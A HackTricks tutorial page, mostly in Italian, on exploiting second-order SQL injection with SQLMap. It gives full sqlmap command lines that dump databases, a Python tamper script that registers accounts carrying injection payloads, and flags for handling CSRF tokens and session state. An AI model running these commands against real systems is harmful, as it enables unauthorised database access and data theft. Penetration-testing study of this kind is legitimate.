Second Order Injection con SQLMap

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

SQLMap può sfruttare le SQLi di Second Order.
Devi fornire:

  • La request in cui il payload di sqlinjection verrà salvato
  • La request in cui il payload verrà eseguito

La request in cui il payload di SQL injection viene salvato è indicata come in qualsiasi altra injection in sqlmap. La request in cui sqlmap può leggere l’output/esecuzione dell’injection può essere indicata con --second-url oppure con --second-req se devi indicare una request completa da un file.

Simple second order example:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

In diversi casi questo non sarà sufficiente perché dovrai eseguire altre azioni oltre a inviare il payload e accedere a una pagina diversa.

Quando è necessario puoi usare un sqlmap tamper. Per esempio, il seguente script registrerà un nuovo utente usando il payload di sqlmap come email e farà logout.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

Un SQLMap tamper viene sempre eseguito prima di iniziare un tentativo di injection con un payload e deve restituire un payload. In questo caso non ci interessa il payload, ma ci interessa inviare alcune richieste, quindi il payload non viene modificato.

Quindi, se per qualche motivo abbiamo bisogno di un flow più complesso per sfruttare la second order SQL injection come:

  • Creare un account con il payload di SQLi dentro il campo “email”
  • Logout
  • Login con quell’account (login.txt)
  • Inviare una request per eseguire la SQL injection (second.txt)

Questa riga di sqlmap aiuterà:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all

Switch utili nei flussi reali di second-order

L’automazione second-order di solito fallisce perché la richiesta di memorizzazione del payload funziona, ma la richiesta di esecuzione è rumorosa, stateful o protetta. Quando succede, i seguenti flag sono di solito più utili che aggiungere altri payload:

sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
  • --csrf-token, --csrf-url, --csrf-method: Utili quando la richiesta di store o trigger richiede un nuovo anti-CSRF token a ogni tentativo.
  • --live-cookies: Ricarica i cookie prima di ogni richiesta. Utile quando un browser/Burp macro sta aggiornando lo stato della sessione in background.
  • --safe-req e --safe-freq: Mantengono il workflow attivo quando l’applicazione effettua il logout o invalida la sessione dopo alcuni probe falliti.
  • --string, --not-string, --regexp, --code, --text-only: Utili quando la risposta second-order contiene banner, ads, timestamp o junk generato dagli utenti che rende instabile il diffing.

When --tamper is not enough

tamper.py è ancora il modo più semplice per register a payload, log out, log in again, and trigger execution. Tuttavia, su target moderni è spesso più pulito spostare parte della logica in request/response hooks:

  • --preprocess: Modifica l’intera richiesta HTTP prima che venga inviata. Utile quando un flusso second-order richiede un nonce extra, un parametro extra o la normalizzazione degli header.
  • --postprocess: Pulisce la risposta HTTP prima che sqlmap la confronti. Utile quando il second-order sink è avvolto in HTML dinamico e solo un piccolo frammento è stabile.

Example request/response hooks:

#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code

Important limitations

  • Do not assume that --second-req will replay the same payload inside a * placeholder in the second request. If the trigger request also needs the injected value (or a derived version of it), a custom tamper, --preprocess, or a local proxy is usually required.
  • Do not rely on --eval for the second request. Official usage documents --eval for the primary request flow; if the second request also needs per-attempt mutations, handle them inside your helper scripts instead.

This pattern is especially useful when the payload is stored in places such as:

  • Filenames or image metadata that are queried later
  • Registration/profile fields later consumed by admin panels
  • Sorting/filtering preferences saved server-side and replayed later
  • Workflow state that is only executed after a preview, export, or moderation action

References

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks